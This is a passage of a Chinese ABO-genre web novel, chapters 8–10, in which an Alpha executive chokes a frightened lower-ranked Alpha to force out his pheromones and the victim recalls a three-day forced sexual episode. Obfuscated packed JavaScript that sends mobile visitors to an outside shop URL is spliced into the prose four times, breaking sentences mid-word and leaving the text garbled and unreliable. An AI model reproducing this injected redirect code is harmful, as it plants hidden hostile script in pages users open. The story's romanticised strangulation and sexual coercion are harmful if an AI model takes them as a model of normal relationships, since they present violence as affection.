“别浪费我时间。” 江唐顺着望去,视线再次隔空对上,这下无比确定,那Alpha对他怀有敌意。 “李哥……”他拦不住,也保护不了李晃,越发痛恨自己的窝囊与渺小,活得像只蝼蚁。 “唐唐,香蕉等我回来再给你弄。” 李晃出了病房,轻手带上门。走廊里没人,安安静静,护士站还隔了一段距离,他莫名有种跟疯狗在独处的感觉,心里又开始不得劲儿,脑子里也蹦出些有的没的。 小林昨天还跟他嚼舌根,说这疯狗因为生理缺陷老自卑了。李晃其实想问,又没敢问,怕知道得越多越容易吃枪子儿,他才不好奇这个! 他保持着半米远的距离,轻声问:“刑总,你找我什么事?” 刑焱没回头,只说:“跟上。” 走廊宽敞又亮堂,再往前就离护士站更近,喊救命也方便。李晃没多想,快步跟了上去。 直到刑焱在靠近护士站的一间办公室前停下,直接开门示意他进去。他探头往里一看,入眼就是两张比单人床还宽些的床,原来是医护人员的休息室。 “进去。” 这疯狗怎么连医护人员的休息室都能随便进?李晃当场慌了,脱口拒绝:“我不进去,你到底要干什么?有话你就说,我不跟你搞那事。” “……” 大概是没料到李晃会语出惊人,刑焱盯着他看了两秒,那双黑亮的眼睛轻轻一眨,透着一股不谙世事的清澈。 他侧身,让李晃看清他身后的护士站,才淡淡开口:“看不见护士站?” “看见了啊,”李晃一脸不解,“我又没瞎。” “休息室离护士站这么近,”刑焱不露声色,目光定在李晃脸上,声音刻意压低,“我真想搞你,你大可以喊救命,她们听得到。” “……”李晃瞬间被吓退两步,眼睛都睁大了,“你,你——” “听好,”刑焱说,“易感期那次是意外,我对你没兴趣。” 李晃脑子一下转回来了。 这疯狗确实有脸面对他了,想给他道歉,只是怕有外人在,才不好意思?可他又觉得不对劲,跟小林说的完全不一样。 这人从进病房那会儿就一直给他甩脸子,话也不肯好好说,根本不是要道歉的样子,像是来讨债的。 “我耐心有限,”刑焱指关节叩了下门,“自己进去,还是我请你进去?” 李晃左右瞧了瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459267|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,警惕地问:“你真对我没兴趣?” 刑焱接触过形形色色的人,是善是恶,是真是假,他能看透。但眼前这个低级Alpha,不简单。一番周旋下来,尽是废话。 他敛去不耐,还算客气地表明来意:“没有。我找你,是要确认一件事。” 李晃又不放心地说:“那你发个毒誓,说你真的对我没兴趣,不然就遭雷劈死,断子绝孙。” 刑焱:“……” 见Alpha冷眉冷眼的,不吭声了,李晃一口咬定:“你骗我。” 刑焱还真没跟蠢货周旋过,有生之年头回被被噎了一下,已经起了收拾对方的心思。 他压着情绪,沉默了小片刻,低声说:“对你有兴趣,我天打雷劈。” 李晃立即提醒:“漏了一个,不算,重来。” “……” 刑焱不喜欢孩子,断子绝孙对他而言完全无所谓,只是想到了父亲白叙之。他曾承诺过,三十岁之前完成目标,然后找一个各方面都契合的伴侣,回归正常生活。 或许到那时候他会有个孩子,也会试着去做好一个父亲,让他的父亲安心。 李晃就猜到这疯狗有诈,刚要说两句,领口突地就被揪住。他几乎是被拖进休息室,门被一脚踹上,紧接着是“咔哒”一声落锁的动静。 休息室里窗帘紧闭,灯也没开,顷刻变得昏暗压抑。李晃精神紧绷,吓得咽了口唾沫。脖子很快就被一只手掌掐住,他惊慌失措,下意识想讨饶,可那手并没真用力,反而一转,掌心抚上他后颈,紧贴着他受损的腺体,带有灼人的温度,腺体处冷不丁划过一丝痒意,他身体跟着一抽。 他挣了下没挣开,语气急巴巴的:“还没好利索,不能咬我的腺体。” 急起来倒更蠢了。刑焱捏了下李晃后颈:“好了就能咬?” “也不能!”李晃拔高嗓门,急着强调自己的第二性征,“我是Alpha!” 刑焱不信这世上有人能把戏演得这么自然。不论他说什么,对方都应对得毫无破绽,一副实打实的蠢样。 这个Alpha,似乎真的智力低下。 真傻,那也好办了。刑焱摩挲着李晃的后颈,那里受过伤,皮肤微糙,还留着他易感期发作时咬下的牙印,触感远不如身体其他地方光滑。 “不要摸了……哎呦,痒痒。”李晃缩着脖子想躲开,不料后颈又被整个掐住,这回是用了力的,给他掐得一阵酸麻。随后,耳边响起Alpha的命令。 “释放信息素。” 8. 咬坏了 “啊?” 李晃懵住,这疯狗强行把他拽进来,是要他释放信息素? “释放信息素。”刑焱重复了遍,手上力道一松,轻轻揉了揉李晃的后颈,权当哄傻子了。 那阵酸麻很快散去,灼人的温度却还在,指尖划过的地方像火烧过,又带起一阵刺挠的痒意。李晃不禁浑身一颤,实在受不了,可整个人被肉墙堵在角落,边上就是床。 那三天三夜的记忆窜回脑海,他忘不了疯狗是怎么折腾他的。一张床脏了就抱他换另一张床,抱的时候那凶煞玩意儿还嵌在里头凿得他头晕眼花,他一求饶就往死里亲他,气都喘不上来,几次差点被活活憋死。 想到那股窒息感,李晃慌忙抬起胳膊,使劲抵在Alpha胸前,总算隔出点空隙。 他用力喘了口气,不满地嚷道:“都说了我痒,你还摸!” 休息室昏暗一片,但刑焱夜视能力远超常人,李晃每一个细微反应都逃不过他的眼。他掌心依旧覆在那片微糙的皮肤上,又轻轻揉了一把,问:“为什么不能摸?” “问这废话,你一摸我就痒啊,一痒我就难受。”李晃有点没好气,发现这疯狗不光疯,还傻。刚才在病房里就脱裤子放屁,现在又明知故问。 “那我掐?” “……”李晃嘴角一抽,这下是真没好气了,忍不住瞪了刑焱一眼。瞪完就想起被枪口怼着脑袋的寒意,嗓门立马弱了下去,“腺体都让你咬坏了,我释放不出来信息素。” 刑焱像听了件趣事:“我咬坏了你的腺体?” 后颈一直被掌控着,李晃就一个念头,赶紧逃离休息室。他以为这么说,疯狗没准能饶过他,忙点头:“对,你易感期特别吓人,根本听不懂人话。算了,说出来你肯定不信,我还是不说了,反正是你咬坏的。” 这Alpha哪里智力低下?不是挺精么? 刑焱一把攥住抵在自己胸膛上的胳膊,随手甩开,顺势逼近李晃,重重掐紧他后颈,听他痛哼出声才松了力,又慢慢揉捏着:“说下去。” 后颈还在发疼,一揉变得又疼又痒,还刺挠得难受,李晃心里气呼呼地骂疯狗没良心,仗着等级高就欺压人。小林说得对,这就是个邪恶资本家。 他也想释放信息素,可是做不到。几年前那次重伤后,他就再也没能释放出来,偶尔还被人误会成Beta。 为了Alpha的尊严,他才对江唐撒谎说强度下降了而已。 被折腾的头天晚上,是李晃这么多年来第一次拼命试着释放攻击性信息素,结果一丝都没感觉到。他搞不懂,这疯狗怎么突然非逼他释放信息素,到底图什么啊? “不要再摸了,我真的释放不出来,你——” “怕疼就说下去,”刑焱打断他,“怎么咬坏的?” “你牙咬坏的。”也不知道是不是休息室里太闷透不过气,李晃觉得热,别开脑袋吸了口气,老老实实地说,“你一直咬我那儿,咬出了好多血,疼死我了,怎么叫你你都不听,我就揪你耳朵,结果你又发疯一直亲我,亲得我嘴里全是血。” 刑焱:“……” 说着说着,李晃心疼起遭罪的自己,越发激动:“你还咬破我舌头,反正就一直在咬我,连脚都咬,咬得我身上都没一块好肉,还老打我屁股,我真是倒霉。”他语气里满是委屈,活脱脱在控诉某人的恶行。 “……”刑焱脸色一沉,直接把人逼进墙角里,“闭嘴。” 压迫感袭来,李晃被彻底堵在死角,肩背抵着墙动弹不了,后颈上的那只手还重重压着。他识相地闭了嘴,心里又憋屈,小声嘀咕了句:“是你让我说的。” 刑焱手掌一滑,改掐住李晃的脖子,虎口卡在他喉结上,稍稍用了点力:“想找死?” “没,没有……” “既然是我咬坏的,”刑焱加重力道,迫使李晃仰起脸,“要我对你负责吗?” 呼吸瞬间变得困难,胸腔也闷得发紧,李晃张了张嘴,溢出几声微弱的气音。空间狭窄到连胳膊都抬不起来,他只能嘶哑着嗓子艰难求饶。 这遭雷劈的疯狗……早知道他就不跟过来了,就算发一百个毒誓也不行。 Alpha濒死时,信息素会不受控制地大量释放,这是绝境下的本能。 刑焱清楚看见了Alpha眼里的恐惧与强烈的求生意志,却没能逼出对方一星半点的信息素来。 是恐惧给的还不够么? 他了解腺体受损的后遗症,会所的医生当时初步判断过,李晃属于中度损伤,标记失败率高,信息素理应只会变弱变淡,不该彻底消失。 刑焱手上又使了些力,在李晃即将失去意识的前一瞬,将人揽进怀里,低头埋进他颈间腺体的位置。 他嗅觉素来灵敏,仔细嗅探,可李晃身上除了清爽的皂香,没有一丝他想要的气息,仿佛那个味道不曾存在过。 不可能。 刑焱不认为那是梦里的味道,只是早已模糊,需要重新确认。他单臂搂紧站不稳的男人,一掌扣住李晃后脑,将人更紧地按进自己怀里,脸贴着那块发烫的皮肤,试图嗅出一丝踪迹。 胸腔还是闷得发慌,喘不上气,后脖子那儿也痒得要命。李晃不舒服地哼了两声,嫌热拱了下脑袋,以为睡觉被被子蒙住了,又拱了下,意识渐渐回笼,他才后知后觉发现自己正被疯狗紧紧抱着,那劲儿大得好像打算勒死他! “别动。” 李晃不敢动了,呼吸刚缓过来些,说话都带着点喘:“我,我没跟别人说你的事,一句都没说。刚才我弟问我,我也没说,我保证带进棺材里,你给我一条活路行不?我还没结过婚……” “……” 刑焱松开双臂,却仍将李晃困在角落,目光沉沉地打量着这个似傻非傻的男人。刚才他只要再稍一用力,就足以掐死对方,他甚至给了Alpha反抗的时间,给过李晃推开自己的机会。 这么胆小的Alpha,只有两种可能:要么真的傻,要么是早预判到他不会下手。 李晃缩头缩脑地杵着,心里直打鼓,不知道这疯狗要堵他到什么时候,是不是自己给的保证还不够? 他正琢磨还能怎么求饶,就听对方忽然问他:“你的信息素是什么味道?” “???” 两人挨得极近,身体几乎贴在了一块儿。李晃紧绷的神经被这问题给整松了些,随即闻到Alpha身上有股淡淡的清香,不是之前那馋人的蜜桃味。 他立马就反应过来,这疯狗喷了香水。接着记起小林说的,刑总因为自卑,从没对外释放过信息素。 原来是这样!好奇他的味道,好好问不行吗?往死里掐他算怎么回事啊! “你是不是想闻我的味道?”李晃抬起脸,问完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江唐对李晃是百分百信任,可在他眼里,李晃是个容易被忽悠的老实人。 听完这话,更加觉得不对劲:“那也没必要专门过来呀,我真担心你,要不别去了吧?我外头有人脉,我帮你找工作。” 混黑的能有什么正经人脉,都是些不三不四的混混。李晃现在就盼着江唐能走上正道,撇开疯狗不提,他把小林说的那些话原原本本跟江唐说了一遍。 “我今晚就是先去看看情况,不合适我肯定不干。你啊好好养身体,外头那些不正经的混混,不要再来往了。” 江唐还想再劝劝:“我是怕你吃亏。” 经过休息室那一遭,李晃其实已经有点打退堂鼓了。可江唐的工作有了着落,小林还能帮忙照应,他主要是想替江唐去探探情况,看看办公环境怎么样。 傍晚出发前,李晃先给小林打了个电话,再三确认疯狗会不会出现。 “你就放心吧,”小林说得信誓旦旦,“刑总不会来的,他心气儿高,看不上陆总这个会所,陆总这会儿也在公司忙,他们都不会过来。” 李晃揣好手机,放心地跨上了他的电驴。 他怎么也没料到,刚骑到会所门口,就迎面撞上了那疯狗。 9. 欲擒故纵 陆乾不清楚表弟办什么事去了。刑焱不说,他自然不问,直接问副驾座上的发小。 “小白,你回头瞧瞧,咱们这刑总怎么看着闷闷不乐的?” 白晏没理陆乾这茬,说他:“开你的车。” “行啊你,真把我当司机使唤了?”陆乾减速等红灯,随意朝白晏那儿一瞥,眼尖地注意到非机动车道上,有个眼熟的身影也在等红灯。 “刑焱,”他回头喊表弟,“你快看窗外,穿咖色夹克那人,是不是陪你度过易感期的Alpha?叫李什么来着?” 刑焱靠在座椅背上闭目养神,无动于衷。 从医院出来后,他的情绪就不是很好,暂时不想听见任何与那个Alpha有关的事。 白晏原本不知情,几天前陆乾在电话里那玩笑开得太大,他立刻赶到会所,当面一问才知道,确实和伤着命根子差不多的情况。刑焱终究没抵抗住本能,破了戒。 木已成舟,回不去了。白晏可以说是除白叙之以外,最了解刑焱的人。 刑焱并非没有性.欲,相反比一般Alpha重欲,但与生俱来的强大掌控力让他更擅长克制欲.望。这是顶级Alpha的优势,也是软肋,毕竟没人能违抗刻在基因里的本能。 白晏还记得,五年前刑焱险些被一发.情期的Omega缠上中招,自那以后便对这类事极度排斥。如今破了戒,只怕会更厌恶。 他用眼神示意陆乾收声,转而望向窗外。男人身着咖色夹克和运动裤,跨坐在一辆老旧电摩上,身形高挑,侧脸轮廓出众,只是打扮略显土气,放人堆里不起眼。 陆乾认出来的,是李晃身上那件老气横秋的咖色夹克。他往后视镜里一扫,闭目养神的人居然拧着眉,都躁成这样了,犯得着亲自跑一趟海城么? 等红灯过去,陆乾刻意放慢了车速,忽然惊呼一声:“嘿!怎么跟车撞上了?” 再往后视镜里一扫,某装货已经睁眼,正盯着车窗外,那模样别说,还真挺有意思。 看清非机动车道里的状况,刑焱冷声道:“开你的车。” “你俩都把我当司机使唤是吧?”陆乾好笑,“我可没说是他跟车撞了,紧张什么。小白你也看见了,你来说,是不是有个骑车的撞车了?” “幼稚。”白晏懒得多评价。 陆乾不以为然:“我是替小焱把关呢,他要真喜欢,我不得多盯着点儿?那Alpha还挺有爱心,看人摔了,着急停车去扶,不错。” 刑焱刚才恰好将这一幕看进眼里,只觉荒唐。看着有爱心,倒把自己腺体受损的问题往别人头上扣。 他一合上眼,脑子里便又闪出Alpha缩在墙角的模样,眼睛不敢看他,嘴里说着求饶的蠢话。那副怂态过于真实,是真的怕死。 刑焱勉强接受了李晃智力低下的事实,情绪反而更差,一时难以抚平。他专程跑这一趟,一番周旋,到头来竟有种被傻子戏弄的可笑感。 等车停在会所门口,刑焱前脚刚下车,后脚就遇上骑过来的某个傻子。对方一见他,脸色瞬间不自然,跟见鬼似的猛一哆嗦,直接脚刹停车,眼神还飘忽了一下,刻意到像是演的。 和那双冷眼隔空相接,李晃差点魂飞魄散。 他本来骑得好好的,快到会所时脑子突然不听使唤,又蹦出那三天三夜里遭的罪,全是不堪入目的荤画面,臊得脸热。紧跟着又想起下午在休息室里,那疯狗莫名其妙把他抱得死紧,闻他脖子,害他浑身热乎乎的。 结果想曹操曹操来,一见疯狗本人,李晃当场就后悔没听江唐的话,邪乎得他都想去烧香求求菩萨了。 陆乾给白晏一眼色,催他去停车,下车就大步走到李晃面前,一把抓住电摩车头:“真巧,这不是小李么?” “……”李晃没能掉头成功,只好打招呼,“陆总好。” 天色擦黑,路灯亮起。陆乾这才对李晃的长相有了印象,五官是真出挑,浓眉大眼,鼻梁高挺,唇形好看,用漂亮形容不为过,就是土了点,精神气儿挺足。 不过最大的问题是,个头虽不矮,作为Alpha却被那张脸衬得不够硬朗,眼神再一怂,就显得好欺负了,也难怪某人春心荡漾。 “刑焱,”陆乾招呼表弟,“来我给你介绍下,这是我会所后厨新来的小李师傅,今天第一天上岗,你可别欺负他。” “……”刑焱没去看李晃,只盯着陆乾。 陆乾无辜耸肩:“这条道晚上有点堵,咱仨难得聚一聚,换条道兜两圈怎么了?” 李晃偷摸瞟了一眼边上的Alpha,埋怨小林,电话里说疯狗不会来的。 “小李,这位是刑总,不用我介绍了吧?”陆乾笑笑,“也是我表弟。” ……还是疯狗。李晃在心里偷偷补了一句,正愁怎么脱身,就见小林跑了过来,帮他把车停好,跟两位总打完招呼,便领着他往会所里走。 他感动得不行:“小林,谢谢你。” “李晃,不好意思。”小林及时道歉,“我真不知道陆总和刑总会过来,我发誓。” 等两人走远,陆乾转头问身旁的表弟:“你下午是去办他了?怎么见你就躲?说了别那么粗暴,得循序渐进,温柔点儿。” “没有,”刑焱望着那道匆匆逃离的背影,“我很清醒。” 陆乾收起玩笑:“清醒就别掺和了。这Alpha傻精傻精的,招他进来不容易,在我眼皮子底下你还不放心?” 沉默数秒,刑焱才开口:“只喝一杯,我今晚回北城。” - 经过这几天相处,李晃越发信任小林。小林不光会去医院帮忙照看江唐,也把江唐当弟弟对待,更是他眼下唯一能倾诉的人,只有对方知道他遭过的罪。 “小林,我不想干了。”李晃实话实说,“其实我是来帮唐唐看下工作环境的。” 小林瞬间明白了前因后果,赶紧把人拉到僻静角落,使出三寸不烂之舌:“李晃,对不起,我之前骗了你。刚才跟你说过,刑总这人心气儿高,你想让他给你道歉确实不太可能,我当时怕你难受,只能撒下这个善意的谎言。但这工作是陆总真心给你安排的,他也真心觉得对不起你,因为刑总是他表弟,他得给他弟擦屁股。唉……我就是那张草纸,被资本家剥削的打工人,你可以理解我的对吧?我一开始对你公事公办,就想尽快替陆总把问题解决,可这些天相处下来,我打心底里把你当兄弟了,江唐也是我弟弟。我不能要求你无条件信任我,可你给我个机会行吗?我绝对能照应好你们两个,我会证明给你看的。” 李晃脑子宕机了,就算下午已经猜到小林之前说得不对,他还是消化了好一会儿,才愣愣地问:“那我到底有没有救他一命啊?他对我态度很不好。” 二愣子看着有些委屈,小林见机行事:“是真的,但他也不会跟你道谢。说来说去还是刑总心气儿太高,像他们这种豪门少爷,基本都狗眼看人低,不过给钱挺大方,多少人一辈子都赚不到,要不我怎么劝你收下那两百万?封口费也是真的,他们大家族讲究联姻,不会跟平民结婚,真曝出点什么,那就是丑闻。” 李晃问了最后一个问题:“那他有生理缺陷吗?” “这个是我猜的,”小林凑近李晃,“我也是无意间听陆总提起过,刑总很讨厌自己的信息素味道,买了一堆香水,一天换一款,有两次过来,差点把陆总熏死。” “哦,怪不得我闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459269|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他身上有点香,不熏人啊。”李晃想不起还有什么要问的,又扯回正事,“小林,不是我不给你机会,真的谢谢你,是我……” “怎么了?有难处就说,我尽量给你解决。”小林急得就差喊他祖宗了。你不干,我可得卷铺盖走人了啊! 都赖那疯狗……李晃不想承认自己的无能,明明在码头干活时他有一身力气,卸货最多,那么能干。 他抓了抓头发,带着情绪小声说:“是我有点怕,这疯狗今天来医院掐我脖子了,想弄死我。” “什么?!”小林震惊。 李晃很为难:“他跟陆总是兄弟,我要是在这儿干,肯定会被弄死的。我还没结婚,还没活够呢。” 小林几乎要吐血,自己辛辛苦苦一通忙活,费了老鼻子劲把这二愣子请过来视察工作环境,就等晚上签入职合同,怎么半路杀出一条疯狗来,这邪恶的资本家! 他赶忙带李晃坐电梯上五楼行政办公室,又叫来下属,仔细给李晃讲解江唐的工作内容,自己则趁机给老板通风报信。 这要留不住,真不关他的事了,就是死也要死在岗位上。 会所三楼,尊悦老板的专属包间内。 陆乾刚接通电话,就听助理在那儿凄凄惨惨一通诉苦,他打断小林:“等会儿,你慢慢说,重新说清楚。”随即开免提,把手机往刑焱面前的茶几上一放。 “慢不了啊陆总,我偷偷出来给您打的电话。”小林抓紧汇报情况,“本来今晚就能签合同的,结果李晃他突然不干了,因为刑总下午去医院找过他,对他态度特别凶,还掐他脖子要弄死他,他现在特别害怕,别提有多委屈了,我看着都可怜。他怕自己在这儿干,早晚有一天被刑总弄死。陆总,我嘴皮子快说破了,也尽力了,可能留不住他。要不……您劝劝刑总好吗?” “知道你不容易,挂了吧。” 等助理那头挂断,陆乾指着刑焱鼻子就喷:“我真要骂你了,不是很清醒么?清醒到从北城赶过来,就为了掐人脖子吓唬一下,合着是你在玩欲擒故纵啊?” 想到Alpha缩在墙角委屈控诉的怂样,刑焱面上露出些许不耐烦的神情,端起酒杯抿了一口,显然不想说话。 白晏起身拉了陆乾一把,劝道:“你让让他吧。” 不过是个无足轻重的傻子,陆乾倒也没真生气,只是希望刑焱能清楚自己在做什么。 他推开白晏,笑道:“我怎么没让着他?处.男么,刚开过荤,兴奋也正常。”又看向刑焱,“刑焱,回北城没少惦记吧?这几晚应该都没睡好?” 刑焱抬眼,目光透着不悦。 “怎么,戳你肺管子了?”陆乾转头跟白晏说,“我这做表哥的多体贴,知道他惦记,替他把人弄到身边,你看他领我这个情么?我他妈成老鸨子了。” 白晏并不赞同陆乾的做法,但眼下刑焱状况随时不稳定,也没有更好的方案。他只得偏向陆乾,劝刑焱:“那Alpha来路不明,没查清楚之前,先让他留在陆乾这边吧。今晚我和你一起回北城。” 刑焱拒绝:“不用,重新派个人过来。” 陆乾问白晏:“你这是准备亲自给他当保镖?免了,我看他是想带那二愣子回北城。” 白晏见刑焱沉默,又劝他:“想的话,就带上吧。” “你们两个在干什么,”刑焱起身,“给我拉皮条?” “好了,不谈这个了。”白晏打圆场,提醒刑焱,“你现在情绪不稳定,少说两句。” “我情绪很稳定。”刑焱拿起茶几上的手机,走到陆乾面前,用他手指解锁了屏幕,然后给小林回拨过去,一通就下了个命令。 “带那个Alpha过来。” 10. 宝贝 尊悦,纸醉金迷的销金窟,独占一整栋楼,是海城数一数二的奢华之地。往来海城的权贵,几乎没有不来这儿消费的。 李晃新奇地听小林介绍,上回只顾逃命,从五楼下了电梯就一路狂奔,今天才算真正开眼。他从小林口中得知,会所里除了公主、少爷、医生和保镖外,员工全是Beta,光小林这样的经理就有好几个。 “不过陆总最器重我,”小林颇为得意,“我权力也最大,还兼任他的助理。其他经理各管各的,你和唐唐归我管,平时不用跟他们打交道。我把你安排在二楼中餐后厨,你直接走员工通道上来,碰不到刑总的,他心气儿那么高,只会走贵宾通道。” 李晃其实挺心动,架不住小命要紧:“他要想弄我,走什么道都能拐我这儿来。” “这……有道理。”小林也不劝了,打着让李晃替江唐熟悉环境的旗号,一路把人忽悠到了三楼。 李晃对江唐以后的工作环境特别满意,一路上不停道谢,问小林什么时候得空:“上我家坐坐去,我给你露一手,唐唐很喜欢吃我做的饭,老夸我手艺好。” 窃听器装不上,陆总也没当回事,小林摸不准还要不要继续。等走到包间门口,他心里终于升起一丝煎熬,对着眼前满脸真诚的二愣子,那点良心开始作祟了。 “李晃。”小林叫住他,话到嘴边又想起自己的百万年薪,若是辜负了陆总的器重,下场就只有卷铺盖走人。 “不得空也没事,”李晃笑着说,“要不干脆等唐唐出院,到时候咱们三个一块儿庆祝。你喜欢吃什么?我就会做家常菜,不会的要先跟菜谱学。” “……”一对上李晃那透亮的眼神,小林就觉得自己好像在逼良为娼,暗道你个二愣子,防备心不是很重吗?别什么人都随便往家带啊! 差不多了解完情况,李晃准备回医院,却被小林拉到一旁。小林神神秘秘地指着他身后那扇门,李晃回头望去,纳闷地问:“要我看什么呀?” “你头低下来。”小林个子没李晃高,等李晃低下头,凑他耳边小声提醒,“刑总在里面,他想见你。” “啊?”李晃神经瞬间绷紧。 小林立刻说:“其实我觉得刑总对你没杀心。你仔细想想,他真要杀你,早一枪把你崩了。你说他掐你脖子,你现在不也好好站在我面前?” “……”李晃仔细一想,还真是这么回事,自己这会儿不正好好活着吗? “他两次给你活路,就说明根本没那意思。”见李晃还低着头乖乖听着,认真得像个小学生,小林于心不忍,又多劝了两句。 “你再仔细想想,他从北城过来总不能就为了掐你脖子吧?还做了什么?有没有说什么话?想不明白的可以告诉我,我帮你分析。” 李晃确实有想不明白的,疯狗怎么偏偏好奇他的信息素味道。大街上那么多Alpha,随便找两个闻闻不行吗? “他叫我释放信息素,”李晃如实说,“我释放不出来他就掐我了,还把我抱得很紧,闻我的腺体,他还骂我,骂得不好听。” 小林听完顿悟:“怪不得刑总想见你,肯定是你的信息素勾住他了,他对你的味道念念不忘,还想再闻。要不你就配合下,进去给他释放——” 话没说完,那扇门突然开了。 刑焱一开门,入眼就是靠成一坨的俩男人。Beta紧挨着Alpha,Alpha低着头,脸颊几乎贴到Beta嘴边,姿态暧昧。 小林大惊失色,连忙退开一步,躬身问好:“刑总晚上好!” 李晃还没消化完小林刚才的话,一时反应不过来。直到刑焱那双冷眼扫向他,他才依葫芦画瓢地弯了弯腰,却忘了问候,脑子里乱糟糟地想着:释放不出信息素怎么办?疯狗没杀心,可是掐脖子也很难受啊…… “干什么呢这是?”陆乾跟过来一瞧,当即挤开表弟,抬手揽住李晃,“小李,进来陪我喝一杯。”又转头吩咐助理,“小林,你也进来。” 最后才回头,丢给表弟一个意味深长的眼神:“不是要出去透气么?慢走不送。” 李晃稀里糊涂地被带进包间,发现里面还坐着个男人。 陆乾示意助理招呼李晃入座,见对方不大情愿,非要杵着,便挥手让小林退开,彬彬有礼道:“小李,我身边这位白总也算外头那家伙的表哥。我们请你过来,是想当面跟你道个歉。” 有过小林的解释,李晃这回反应快了点,又来一个给疯狗擦屁股的。他心想,擦屁股的来道歉管什么用?拉屎的是疯狗,等再拉到他头上,他还会变成倒霉蛋的。 除非疯狗亲自来道歉,跟他说声知道错了。 正琢磨怎么应付,包间门突然又开了。李晃刚扭过头,一道黑影就闪了过来,手腕一下被死死攥住。 陆乾眼睁睁看着刑焱把人直接拽了出去,便嘱咐小林跟上。等门重新关上,他点了支烟,问白晏:“你看,是不是春心荡漾了?拦都拦不住。” 白晏反倒忧心忡忡:“纵欲伤身,我怕他这样下去会出问题。” “白家收养你,不是让你给他当爹的。”陆乾劝不动白晏,索性说,“憋久了才伤身,别低估他。他易感期发作的时候,我一直在会所里守着,你是没看见那场面,就一禽.兽,彻底没了人样,整整三天三夜没怎么停过。那二愣子清醒一阵晕一阵,哭得挺惨……” “我当时也怕出问题,特地带了实验室的医生闯进去想给他来一针,这货直接扑过来攻击我,冲我放信息素,把我们都当情敌了,谁靠近那二愣子就跟谁拼命,实在弄不过他。 “等医生出去,我偷摸看了会儿,发现他挺宝贝那二愣子的,人晕过去了还知道心疼,没再乱来,就抱着一直亲。确认他不会把人弄死,我才放心出去。 “你知道小叔为什么不让他过去么?是被他信息素伤到了,现在还在医院休养。实验室的医生后来分析,他这情况大概率就是憋出来的,长期压抑反倒毁身体。特效抑制剂才换多久?这么快就产生抗体了,下次易感期还不知道会闹成什么样。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459270|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白晏听完,轻声一叹:“我知道了。” - 小林急傻眼了,怎么自己刚追出来,刑总就把人拐没影儿了? 包间里没开灯,黑黢黢一片什么都看不见。熟悉的窒息感一下子包围上来,李晃又惊又慌,心脏在胸腔里咚咚狂跳,随时要蹦出嗓子眼儿。再不跑,裤衩子都保不住了!他凭着感觉去摸门,手才碰到门把,肩上骤然一沉,一双手扣着他肩膀,硬将他掰转回去。他刚想呼救,那双手就松开了。 听着混乱急促的呼吸,还隐隐带喘,刑焱皱了下眉:“呼吸别那么大声,很吵。” “……”李晃立马捂住嘴,又急忙拿开说,“我释放不出信息素的,你不要掐我脖子。”说完重新捂上。 “我不会对你怎么样,”刑焱声音冷淡,“也不会弄死你。” 李晃狂点头,才意识到黑暗里对方看不见,想了半秒,还是把手拿开了:“能出去说吗?这儿太黑了。” “怕黑?” 李晃哪里是怕黑,纯粹是被那三天三夜折腾出了阴影。随便换个人,他都能哼上小曲儿,唯独对着这疯狗不行,怕被扒裤子,扇屁股蛋子。 想着应该不会被弄死,疯狗好像也能好好说话了,他顺着这茬假装说:“怕。” “那就在这里说。” “……”李晃有点跟不上思路,小声要求,“我说了怕黑,要不你把灯开开。” “你怕黑,跟我有关系吗?” “……”李晃哦一声,不想浪费口水了。 刑焱此刻的情绪也没好到哪去,白跑一趟消耗了他太多耐心,已经拿不出耐心再跟一个傻子多费口舌。 道歉若有用,这世上就没那么多无法挽回的事了。即便跟这傻子道歉,对方也不可能既往不咎,至于傻子究竟怎么想的,根本无关紧要。 “伤到你不是我本意,”他开口,“你可以留在这里工作。” 这疯狗在说什么?李晃还以为自己听错了,不确定地问:“你是在给我道歉吗?知道自己错了啊?” “……” 刑焱没回答,只道:“我再问一遍,你的腺体是我咬坏的?” 李晃犹豫着,想说不是,又记起任哥临走前反复叮嘱的话。自己的事不能对外人说,受伤时间不能提,尤其是脑子的问题更要守口如瓶,不能让人知道他丢了以前的记忆,不然会被当成傻子,谁都能欺负。只要不说,他就是正常的Alpha,除非遇到喜欢的人才能说。 江唐是他信得过的弟弟,可眼前这人不是,绝对不能说。 “是你咬坏的。”李晃说完有点心虚,赶紧找补,“没事,我已经收下两百万了,不用你负责。” “我咬坏的。”刑焱淡淡地陈述。 “呃,都过去了。” 